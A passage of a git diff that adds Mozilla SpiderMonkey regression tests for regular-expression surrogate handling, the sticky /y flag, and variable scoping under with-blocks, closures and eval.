+ ["\uD83D"]);
+
+// escaped (trail)
+assertEq(eval(`/\uD83D\\uDC38?/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\uD83D\\uDC38?/u`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\\uDC38?/u`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/\\uD83D\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\\uD83D\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\\uD83D\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/\uD83D\\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\uD83D\\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// ==== RegExp constructor, ? ====
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec(""),
+ [""]);
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "u").exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(new RegExp("\uD83D\uDC38?", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(new RegExp("\uD83D\uDC38?", "").exec(""),
+ null);
+
+assertEqArray(new RegExp("\uD83D\uDC38?", "").exec("\uD83D"),
+ ["\uD83D"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/yflag.js b/js/src/tests/non262/RegExp/yflag.js
new file mode 100644
index 0000000000..db101c0b01
--- /dev/null
+++ b/js/src/tests/non262/RegExp/yflag.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 371932;
+var summary = 'ES4 Regular Expression /y flag';
+var actual = '';
+var expect = '';
+
+print('See http://developer.mozilla.org/es4/proposals/extend_regexps.html#y_flag');
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var c;
+ var s = '123456';
+
+ print('Test global flag.');
+
+ var g = /(1)/g;
+ expect = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ actual = 'captures: ' + g.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+ reportCompare(expect, actual, summary + ' - /(1)/g.exec("1234561") first call');
+
+ expect = 'captures: 1,1; RegExp.leftContext: "123456"; RegExp.rightContext: ""';
+ actual = 'captures: ' + g.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+ reportCompare(expect, actual, summary + ' - /(1)/g.exec("1234561") second call');
+ var y = /(1)/y;
+
+ print('Test sticky flag.');
+
+ /*
+ * calls to reportCompare invoke regular expression matches which interfere
+ * with the test of the sticky flag. Collect expect and actual values prior
+ * to calling reportCompare. Note setting y = /(1)/y resets the lastIndex etc.
+ */
+
+ var y = /(1)/y;
+ var expect4 = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ var actual4 = 'captures: ' + y.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ var expect5 = 'captures: null; RegExp.leftContext: ""; RegExp.rightContext: "234561"';
+ var actual5 = 'captures: ' + y.exec('1234561') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ reportCompare(expect4, actual4, summary + ' - /(1)/y.exec("1234561") first call');
+ reportCompare(expect5, actual5, summary + ' - /(1)/y.exec("1234561") second call');
+
+ var y = /(1)/y;
+
+ reportCompare(expect5, actual5, summary);
+
+ y = /(1)/y;
+ var expect6 = 'captures: 1,1; RegExp.leftContext: ""; RegExp.rightContext: "123456"';
+ var actual6 = 'captures: ' + y.exec('1123456') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ var expect7 = 'captures: 1,1; RegExp.leftContext: "1"; RegExp.rightContext: "23456"';
+ var actual7 = 'captures: ' + y.exec('1123456') +
+ '; RegExp.leftContext: "' + RegExp.leftContext +
+ '"; RegExp.rightContext: "' + RegExp.rightContext + '"';
+
+ reportCompare(expect6, actual6, summary + ' - /(1)/y.exec("1123456") first call');
+ reportCompare(expect7, actual7, summary + ' - /(1)/y.exec("1123456") second call');
+
+ var y = /(1)/y;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Scope/browser.js b/js/src/tests/non262/Scope/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Scope/browser.js
diff --git a/js/src/tests/non262/Scope/regress-154693.js b/js/src/tests/non262/Scope/regress-154693.js
new file mode 100644
index 0000000000..d0f0a5ea86
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-154693.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 Nov 2002
+ * SUMMARY: Testing scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=154693
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 154693;
+var summary = 'Testing scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ function nested() {}
+ return nested;
+}
+var f1 = f();
+var f2 = f();
+
+status = inSection(1);
+actual = (f1 != f2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-181834.js b/js/src/tests/non262/Scope/regress-181834.js
new file mode 100644
index 0000000000..9b0fe071f1
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-181834.js
@@ -0,0 +1,146 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 November 2002
+ * SUMMARY: Testing scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181834
+ *
+ * This bug only bit in Rhino interpreted mode, when the
+ * 'compile functions with dynamic scope' feature was set.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 181834;
+var summary = 'Testing scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * If N<=0, |outer_d| just gets incremented once,
+ * so the return value should be 1 in this case.
+ *
+ * If N>0, we end up calling inner() N+1 times:
+ * inner(N), inner(N-1), ... , inner(0).
+ *
+ * Each call to inner() increments |outer_d| by 1.
+ * The last call, inner(0), returns the final value
+ * of |outer_d|, which should be N+1.
+ */
+function outer(N)
+{
+ var outer_d = 0;
+ return inner(N);
+
+ function inner(level)
+ {
+ outer_d++;
+
+ if (level > 0)
+ return inner(level - 1);
+ else
+ return outer_d;
+ }
+}
+
+
+/*
+ * This only has meaning in Rhino -
+ */
+setDynamicScope(true);
+
+/*
+ * Recompile the function |outer| via eval() in order to
+ * feel the effect of the dynamic scope mode we have set.
+ */
+var s = outer.toString();
+eval(s);
+
+status = inSection(1);
+actual = outer(-5);
+expect = 1;
+addThis();
+
+status = inSection(2);
+actual = outer(0);
+expect = 1;
+addThis();
+
+status = inSection(3);
+actual = outer(5);
+expect = 6;
+addThis();
+
+
+/*
+ * Sanity check: do same steps with the dynamic flag off
+ */
+setDynamicScope(false);
+
+/*
+ * Recompile the function |outer| via eval() in order to
+ * feel the effect of the dynamic scope mode we have set.
+ */
+eval(s);
+
+status = inSection(4);
+actual = outer(-5);
+expect = 1;
+addThis();
+
+status = inSection(5);
+actual = outer(0);
+expect = 1;
+addThis();
+
+status = inSection(6);
+actual = outer(5);
+expect = 6;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function setDynamicScope(flag)
+{
+ if (this.Packages)
+ {
+ var cx = this.Packages.org.mozilla.javascript.Context.getCurrentContext();
+ cx.setCompileFunctionsWithDynamicScope(flag);
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-184107.js b/js/src/tests/non262/Scope/regress-184107.js
new file mode 100644
index 0000000000..27b7094600
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-184107.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 December 2002
+ * SUMMARY: with(...) { function f ...} should set f in the global scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=184107
+ *
+ * In fact, any variable defined in a with-block should be created
+ * in global scope, i.e. should be a property of the global object.
+ *
+ * The with-block syntax allows existing local variables to be SET,
+ * but does not allow new local variables to be CREATED.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=159849#c11
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 184107;
+var summary = 'with(...) { function f ...} should set f in the global scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var obj = {y:10};
+with (obj)
+{
+ // function statement
+ function f()
+ {
+ return y;
+ }
+
+ // function expression
+ g = function() {return y;}
+}
+
+status = inSection(1);
+actual = obj.f;
+expect = undefined;
+addThis();
+
+status = inSection(2);
+actual = f();
+expect = obj.y;
+addThis();
+
+status = inSection(3);
+actual = obj.g;
+expect = undefined;
+addThis();
+
+status = inSection(4);
+actual = g();
+expect = obj.y;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-185485.js b/js/src/tests/non262/Scope/regress-185485.js
new file mode 100644
index 0000000000..1fcf0846d9
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-185485.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Dec 2002
+ * SUMMARY: Testing |with (x) {function f() {}}| when |x.f| already exists
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185485
+ *
+ * The idea is this: if |x| does not already have a property named |f|,
+ * a |with| statement cannot be used to define one. See, for example,
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=159849#c11
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=184107
+ *
+ *
+ * However, if |x| already has a property |f|, a |with| statement can be
+ * used to modify the value it contains:
+ *
+ * with (x) {f = 1;}
+ *
+ * This should work even if we use a |var| statement, like this:
+ *
+ * with (x) {var f = 1;}
+ *
+ * However, it should NOT work if we use a |function| statement, like this:
+ *
+ * with (x) {function f() {}}
+ *
+ * Instead, this should newly define a function f in global scope.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185485
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 185485;
+var summary = 'Testing |with (x) {function f() {}}| when |x.f| already exists';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var x = { f:0, g:0 };
+
+with (x)
+{
+ f = 1;
+}
+status = inSection(1);
+actual = x.f;
+expect = 1;
+addThis();
+
+with (x)
+{
+ var f = 2;
+}
+status = inSection(2);
+actual = x.f;
+expect = 2;
+addThis();
+
+/*
+ * Use of a function statement under the with-block should not affect
+ * the local property |f|, but define a function |f| in global scope -
+ */
+with (x)
+{
+ function f() {}
+}
+status = inSection(3);
+actual = x.f;
+expect = 2;
+addThis();
+
+status = inSection(4);
+actual = typeof this.f;
+expect = 'function';
+addThis();
+
+
+/*
+ * Compare use of function expression instead of function statement.
+ * Note it is important that |x.g| already exists. Otherwise, this
+ * would newly define |g| in global scope -
+ */
+with (x)
+{
+ var g = function() {}
+}
+status = inSection(5);
+actual = x.g.toString();
+expect = (function() {}).toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-191276.js b/js/src/tests/non262/Scope/regress-191276.js
new file mode 100644
index 0000000000..1a3897f823
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-191276.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 January 2003
+ * SUMMARY: Testing |this[name]| via Function.prototype.call(), apply()
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191276
+ *
+ * Igor: "This script fails when run in Rhino compiled mode, but passes in
+ * interpreted mode. Note that presence of the never-called |unused_function|
+ * with |f('a')| line is essential; the script works OK without it."
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191276;
+var summary = 'Testing |this[name]| via Function.prototype.call(), apply()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function F(name)
+{
+ return this[name];
+}
+
+function unused_function()
+{
+ F('a');
+}
+
+status = inSection(1);
+actual = F.call({a: 'aaa'}, 'a');
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+actual = F.apply({a: 'aaa'}, ['a']);
+expect = 'aaa';
+addThis();
+
+/*
+ * Try the same things with an object variable instead of a literal
+ */
+var obj = {a: 'aaa'};
+
+status = inSection(3);
+actual = F.call(obj, 'a');
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+actual = F.apply(obj, ['a']);
+expect = 'aaa';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-192226.js b/js/src/tests/non262/Scope/regress-192226.js
new file mode 100644
index 0000000000..807a323809
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-192226.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 February 2003
+ * SUMMARY: Testing a nested function call under |with| or |catch|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192226
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192226;
+var summary = 'Testing a nested function call under |with| or |catch|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var counter = 0;
+
+
+function f()
+{
+ try
+ {
+ with (Math)
+ {
+ test0();
+ test1(sin);
+ }
+ throw 1;
+ }
+ catch (e)
+ {
+ test0();
+ test1(e);
+ }
+}
+
+function test0()
+{
+ ++counter;
+}
+
+function test1(arg)
+{
+ ++counter;
+}
+
+
+status = inSection(1);
+f(); // sets |counter|
+actual = counter;
+expect = 4;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-202678-001.js b/js/src/tests/non262/Scope/regress-202678-001.js
new file mode 100644
index 0000000000..8ec59b0481
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-202678-001.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 April 2003
+ * SUMMARY: Testing nested function scope capture
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202678
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 202678;
+var summary = 'Testing nested function scope capture';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this;
+
+
+function myFunc()
+{
+ var hidden = 'aaa';
+ insideFunc();
+
+ if (!self.runOnce)
+ {
+ var hidden = 'bbb';
+ self.outSideFunc = insideFunc;
+ self.runOnce = true;
+ }
+ else
+ {
+ var hidden = 'ccc';
+ }
+
+
+ function insideFunc()
+ {
+ actual = hidden;
+ }
+}
+
+
+
+status = inSection(1);
+myFunc(); // this sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+outSideFunc(); // sets |actual|
+expect = 'bbb';
+addThis();
+
+status = inSection(3);
+myFunc(); // sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+outSideFunc(); // sets |actual|
+expect = 'bbb'; // NOT 'ccc'
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-202678-002.js b/js/src/tests/non262/Scope/regress-202678-002.js
new file mode 100644
index 0000000000..8e9ba75cb2
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-202678-002.js
@@ -0,0 +1,100 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 April 2003
+ * SUMMARY: Testing nested function scope capture
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202678
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 202678;
+var summary = 'Testing nested function scope capture';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this;
+
+
+function myFunc()
+{
+ var hidden = 'aaa';
+ insideFunc();
+
+ if (!self.runOnce)
+ {
+ var hidden = 'bbb';
+ self.outSideFunc = insideFunc;
+ self.runOnce = true;
+ }
+ else
+ {
+ var hidden = 'ccc';
+ self.outSideFunc = insideFunc;
+ }
+
+
+ function insideFunc()
+ {
+ actual = hidden;
+ }
+}
+
+
+
+status = inSection(1);
+myFunc(); // this sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+outSideFunc(); // sets |actual|
+expect = 'bbb';
+addThis();
+
+status = inSection(3);
+myFunc(); // sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+outSideFunc(); // sets |actual|
+expect = 'ccc';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-208496-001.js b/js/src/tests/non262/Scope/regress-208496-001.js
new file mode 100644
index 0000000000..d3160befc3
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-208496-001.js
@@ -0,0 +1,137 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 June 2003
+ * SUMMARY: Testing |with (f)| inside the definition of |function f()|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=208496
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 208496;
+var summary = 'Testing |with (f)| inside the definition of |function f()|';
+var status = '';
+var statusitems = [];
+var actual = '(TEST FAILURE)';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * GLOBAL SCOPE
+ */
+function f(par)
+{
+ var a = par;
+
+ with(f)
+ {
+ var b = par;
+ actual = b;
+ }
+}
+
+status = inSection(1);
+f('abc'); // this sets |actual|
+expect = 'abc';
+addThis();
+
+status = inSection(2);
+f(111 + 222); // sets |actual|
+expect = 333;
+addThis();
+
+
+/*
+ * EVAL SCOPE
+ */
+var s = '';
+s += 'function F(par)';
+s += '{';
+s += ' var a = par;';
+
+s += ' with(F)';
+s += ' {';
+s += ' var b = par;';
+s += ' actual = b;';
+s += ' }';
+s += '}';
+
+s += 'status = inSection(3);';
+s += 'F("abc");'; // sets |actual|
+s += 'expect = "abc";';
+s += 'addThis();';
+
+s += 'status = inSection(4);';
+s += 'F(111 + 222);'; // sets |actual|
+s += 'expect = 333;';
+s += 'addThis();';
+eval(s);
+
+
+/*
+ * FUNCTION SCOPE
+ */
+function g(par)
+{
+ // Add outer variables to complicate the scope chain -
+ var a = '(TEST FAILURE)';
+ var b = '(TEST FAILURE)';
+ h(par);
+
+ function h(par)
+ {
+ var a = par;
+
+ with(h)
+ {
+ var b = par;
+ actual = b;
+ }
+ }
+}
+
+status = inSection(5);
+g('abc'); // sets |actual|
+expect = 'abc';
+addThis();
+
+status = inSection(6);
+g(111 + 222); // sets |actual|
+expect = 333;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-208496-002.js b/js/src/tests/non262/Scope/regress-208496-002.js
new file mode 100644
index 0000000000..57ec4088bf
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-208496-002.js
@@ -0,0 +1,129 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 June 2003
+ * SUMMARY: Testing |with (f)| inside the definition of |function f()|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=208496
+ *
+ * In this test, we check that static function properties of
+ * of |f| are read correctly from within the |with(f)| block.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 208496;
+var summary = 'Testing |with (f)| inside the definition of |function f()|';
+var STATIC_VALUE = 'read the static property';
+var status = '';
+var statusitems = [];
+var actual = '(TEST FAILURE)';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f(par)
+{
+ with(f)
+ {
+ actual = par;
+ }
+
+ return par;
+}
+f.par = STATIC_VALUE;
+
+
+status = inSection(1);
+f('abc'); // this sets |actual| inside |f|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(2);
+actual = f('abc');
+expect = 'abc';
+addThis();
+
+status = inSection(3);
+f(111 + 222); // sets |actual| inside |f|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(4);
+actual = f(111 + 222);
+expect = 333;
+addThis();
+
+
+/*
+ * Add a level of indirection via |x|
+ */
+function g(par)
+{
+ with(g)
+ {
+ var x = par;
+ actual = x;
+ }
+
+ return par;
+}
+g.par = STATIC_VALUE;
+
+
+status = inSection(5);
+g('abc'); // this sets |actual| inside |g|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(6);
+actual = g('abc');
+expect = 'abc';
+addThis();
+
+status = inSection(7);
+g(111 + 222); // sets |actual| inside |g|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(8);
+actual = g(111 + 222);
+expect = 333;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-220362.js b/js/src/tests/non262/Scope/regress-220362.js
new file mode 100644
index 0000000000..99f8ca162f
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-220362.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 27 Sep 2003
+ * SUMMARY: Calling a local function from global scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220362
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 220362;
+var summary = 'Calling a local function from global scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// creates a local function and calls it immediately
+function a()
+{
+ var x = 'A';
+ var f = function() {return x;};
+ return f();
+}
+
+// creates and returns a local function
+function b()
+{
+ var x = 'B';
+ var f = function() {return x;};
+ return f;
+}
+
+
+status = inSection(1);
+actual = a();
+expect = 'A';
+addThis();
+
